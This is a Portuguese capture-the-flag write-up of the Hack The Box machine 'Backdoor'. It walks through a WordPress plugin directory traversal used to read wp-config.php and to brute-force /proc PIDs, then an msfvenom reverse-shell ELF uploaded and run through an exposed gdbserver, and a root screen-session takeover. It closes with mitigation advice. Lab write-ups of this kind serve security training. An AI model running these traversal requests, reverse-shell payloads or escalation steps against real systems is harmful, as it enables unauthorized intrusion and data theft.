0xEtern4lW0lf
Hack The BoxEasyLinux

Backdoor

7 min de leitura
#RCE#File Upload Bypass

Introdução

https://app.hackthebox.com/machines/Backdoor Backdoor é uma máquina Linux de dificuldade fácil da plataforma Hack The Box, com IP 10.10.11.125. O ponto de entrada é um plugin do WordPress vulnerável a Directory Traversal, que permite ler arquivos arbitrários do sistema, inclusive dentro de /proc. Usando essa falha para enumerar os processos em execução, foi possível identificar um GDB Server escutando na porta 1337, que serviu como vetor para obter a shell inicial como o usuário user. Já a escalada de privilégios foi possível porque o root mantém uma sessão de screen aberta em loop, à qual qualquer usuário do sistema consegue se conectar diretamente.

Escaneamento

O primeiro passo foi enumerar portas e serviços com nmap.

ports=$(sudo nmap -p- -Pn --min-rate=1000 -T4 10.10.11.125 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//) && sudo nmap -sC -sV -Pn -p $ports 10.10.11.125

O scan revelou HTTP na porta 80 e um serviço não identificado de imediato na porta 1337.

Enumeração

Porta 80 (HTTP)

Ao acessar http://10.10.11.125/, encontramos uma página incompleta que referencia o domínio backdoor.htb. Adicionamos o domínio backdoor.htb ao /etc/hosts.

echo "10.10.11.125 backdoor.htb" | sudo tee -a /etc/hosts
### Fuzzing de Diretório Web ```shell gobuster dir -u http://backdoor.htb/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 100 -e --no-error -r -x php,txt ``` ```bash ===============================================================

http://10.10.11.125/.htpasswd (Status: 403) [Size: 277] http://10.10.11.125/index.php (Status: 200) [Size: 63830] http://10.10.11.125/license.txt (Status: 200) [Size: 19915] http://10.10.11.125/server-status (Status: 403) [Size: 277]
http://10.10.11.125/wp-content (Status: 200) [Size: 0]
http://10.10.11.125/wp-admin (Status: 200) [Size: 5674] http://10.10.11.125/wp-config.php (Status: 200) [Size: 0]
http://10.10.11.125/wp-includes (Status: 200) [Size: 52159] http://10.10.11.125/wp-login.php (Status: 200) [Size: 5674] http://10.10.11.125/xmlrpc.php (Status: 405) [Size: 42]
http://10.10.11.125/wp-trackback.php (Status: 200) [Size: 135]

===============================================================

---
O alvo está rodando WordPress. Vamos enumerar em busca de algum plugin vulnerável.
<empty-block/>
## Directory Traversal no plugin ebook-download
Encontramos um plugin vulnerável a **Directory Traversal**.
`http://10.10.11.125/wp-content/plugins/`
![](/notion-images/3b989a62-4b48-80ac-a0fa-ece928cbedbd/2.png)
<empty-block/>
Trata-se do plugin **ebook-download**, que possui uma vulnerabilidade pública de Directory Traversal / Local File Inclusion documentada no exploit-db.
`https://www.exploit-db.com/exploits/39575`
![](/notion-images/3b989a62-4b48-80ac-a0fa-ece928cbedbd/3.png)
<empty-block/>
O parâmetro `ebookdownloadurl` do arquivo `filedownload.php` não sanitiza o caminho informado, permitindo navegar para fora do diretório do plugin. Com isso conseguimos ler o `wp-config.php` e expor as credenciais do banco de dados.
```shell
curl -s http://backdoor.htb/wp-content/plugins/ebook-download/filedownload.php?ebookdownloadurl=../../../wp-config.php

Tentamos utilizar essas credenciais para logar em http://backdoor.htb/wp-login.php, mas sem sucesso — elas não se aplicam ao painel de administração do WordPress.

Porta 1337 (serviço desconhecido)

Enumeração de processos (brute force de PID)

Não sabíamos qual serviço estava rodando nessa porta. Como já tínhamos leitura arbitrária de arquivos via o plugin vulnerável, decidimos enumerar os processos do sistema abusando do diretório /proc, que contém uma pasta para cada PID em execução. Por exemplo, no Kali: Também existe o diretório self, que é um link simbólico para o PID do processo atual. Novamente, no Kali: Dentro de cada diretório listado existe o arquivo cmdline, que contém a linha de comando usada para iniciar o processo: No alvo podemos fazer o mesmo, usando o Directory Traversal do plugin:

curl http://backdoor.htb/wp-content/plugins/ebook-download/filedownload.php?ebookdownloadurl=../../../../../../../proc/self/cmdline

Como o curl não exibe dados binários corretamente no terminal, usamos -o- para forçar a saída para stdout.

curl -o- http://backdoor.htb/wp-content/plugins/ebook-download/filedownload.php?ebookdownloadurl=../../../../../../../proc/self/cmdline

Agora vamos limpar essa saída:

curl -o- -s http://backdoor.htb/wp-content/plugins/ebook-download/filedownload.php?ebookdownloadurl=/proc/self/cmdline | tr '\000' ' ' | cut -c55- | rev | cut -c32- | rev

-s para limpar a saída.
tr '\000' ' ' substitui os bytes nulos por espaços.
cut -c55- retira o prefixo repetido: /proc/self/cmdline/proc/self/cmdline/proc/self/cmdline
cut -c32- retira o sufixo: <script>window.close()</script>
rev inverte a string {color=“gray_bg”}

Com a saída limpa, montamos um script que percorre os PIDs de 1 a 2000 no lugar de self, revelando o comando executado por cada processo.

#!/bin/bash

for i in {1..2000}; do

    path="/proc/${i}/cmdline"    
    retira_path=$(( 3 * ${#path} + 1))

    resp=$(curl -o- -s http://backdoor.htb/wp-content/plugins/ebook-download/filedownload.php?ebookdownloadurl=${path} | tr '\000' ' ')
    saida=$(echo $resp | cut -c ${retira_path}- | sed "s/<script>window.close()<\/script>//")
    
    if [[ -n "$saida" ]]; then
        echo -e "PID:${i} ==> ${saida}"
    fi

done
O script demora um pouco para rodar, mas o resultado é este: ![](/notion-images/3b989a62-4b48-80ac-a0fa-ece928cbedbd/11.png) Vemos que há um `GDB Server` rodando na porta 1337 com o usuário **user**, em loop constante. ```bash /bin/sh -c while true; do su user -c "cd /home/user;gdbserver --once 0.0.0.0:1337 /bin/true;"; done ``` # Exploração ## Explorando o GDB Server Referência: [https://book.hacktricks.xyz/network-services-pentesting/pentesting-remote-gdbserver](https://book.hacktricks.xyz/network-services-pentesting/pentesting-remote-gdbserver) > O Hacktricks tem uma [página](https://book.hacktricks.xyz/pentesting/pentesting-remote-gdbserver) sobre como explorar arquivos via `gdbserver`. Pelo uso da porta 1337 e do diretório `/home/user`, essa é a técnica esperada aqui: criar um ELF, carregá-lo no depurador remoto e executá-lo lá. **Este é o vetor de exploração principal da máquina.** Primeiro criamos um payload de reverse shell simples com `msfvenom`: ```shell msfvenom -p linux/x64/shell_reverse_tcp LHOST=tun0 LPORT=443 PrependFork=true -f elf -o perverse.elf ``` Em seguida, iniciamos uma depuração local: ```shell gdb -q perverse.elf ``` ```bash ## Já dentro do contexto do gdb

Conectar ao servidor remoto:

target extended-remote 10.10.11.125:1337

Com a conexão estabelecida, enviamos o binário:

remote put perverse.elf /tmp/perverse.elf

No Kali, preparamos um listener na porta 443

Agora só falta definir o executável remoto de depuração e rodá-lo:

set remote exec-file /tmp/perverse.elf run

<empty-block/>
![](/notion-images/3b989a62-4b48-80ac-a0fa-ece928cbedbd/12.png)
Conseguimos shell como o usuário `user`.
# Pós-Exploração
## Upgrade do shell
```bash
/usr/bin/script -qc /bin/bash /dev/null

export SHELL=bash;export TERM=xterm-256color

python3.8 -c "import pty; pty.spawn('/bin/bash')"

Elevação de Privilégios

Enumerando os processos em execução, vimos que algo mantém o screen rodando como root, em loop. Esse comando verifica o diretório /var/run/screen/S-root a cada um segundo; se estiver vazio, cria uma nova sessão do screen como root.

Screen é um multiplexador de terminal que permite abrir múltiplas janelas dentro de uma mesma sessão, mantendo-as em execução mesmo quando o usuário se desconecta (essas sessões só se perdem em um reboot). {color=“gray_bg”}

Verificamos que existe uma sessão de root:

ls -l /var/run/screen/

Não conseguimos ler o conteúdo do diretório S-root diretamente.

screen -ls root/

Mesmo sem conseguir listar os detalhes da sessão, o socket permite anexar diretamente a ela. Para entrar na sessão:

screen -x root/ 
Mas antes é preciso definir um terminal válido: ```bash export TERM=xterm ``` Com isso, o `screen -x root/` anexa nossa shell diretamente à sessão de terminal que o root já mantinha aberta, entregando uma shell interativa como **root** — completando o comprometimento total da máquina. # Anexos Ferramentas e scripts usados ao longo do processo: - **nmap** — varredura de portas e identificação de serviços/versões. - **gobuster** — fuzzing de diretórios do WordPress. - **curl** — abuso manual do Directory Traversal no plugin `ebook-download` para leitura de arquivos arbitrários (`wp-config.php`, arquivos de `/proc//cmdline`). - Script em `bash` (autoral, listado na seção de Enumeração) para automatizar a varredura de PIDs de 1 a 2000 via `/proc`, identificando o processo do `gdbserver` rodando como `user`. - **msfvenom** — geração do payload ELF de reverse shell (`linux/x64/shell_reverse_tcp`). - **gdb** — cliente de depuração usado para conectar ao `gdbserver` remoto (`target extended-remote`), enviar o binário (`remote put`) e executá-lo (`run`), obtendo a shell inicial. - **screen** — usado na pós-exploração para anexar (`screen -x`) à sessão root já existente. # Mitigação - Atualizar ou remover o plugin `ebook-download` do WordPress, que está vulnerável a Directory Traversal / Local File Inclusion (exploit-db 39575); validar e sanitizar rigorosamente qualquer parâmetro usado para montar caminhos de arquivo no servidor. - Restringir o acesso direto a arquivos sensíveis como `wp-config.php` via regras do servidor web (ex.: bloqueio em `.htaccess`/Nginx) e mover credenciais para variáveis de ambiente ou um cofre de segredos. - Não expor serviços de depuração como `gdbserver` em interfaces de rede acessíveis (`0.0.0.0`); se for necessário para uso interno, restringir a `localhost` ou atrás de VPN/firewall, e nunca rodá-lo em loop automático como um usuário do sistema. - Evitar manter sessões de `screen` (ou `tmux`) abertas como root de forma persistente em loop automatizado; se for necessário automação privilegiada, usar mecanismos com controle de acesso adequado (ex.: `sudo` com comandos específicos, systemd timers) em vez de sessões interativas compartilháveis. - Revisar as permissões do diretório `/var/run/screen/` e do socket de sessões para impedir que usuários não autorizados consigam anexar (`screen -x`) a sessões de outros usuários, especialmente do root. - Aplicar o princípio do menor privilégio: o serviço web não deveria ter permissão de leitura sobre arquivos fora do diretório do WordPress, e o usuário `user` não deveria conseguir interagir com sessões de terminal do root. - Manter o WordPress, plugins e o sistema operacional atualizados, e realizar varreduras periódicas de plugins desatualizados/vulneráveis.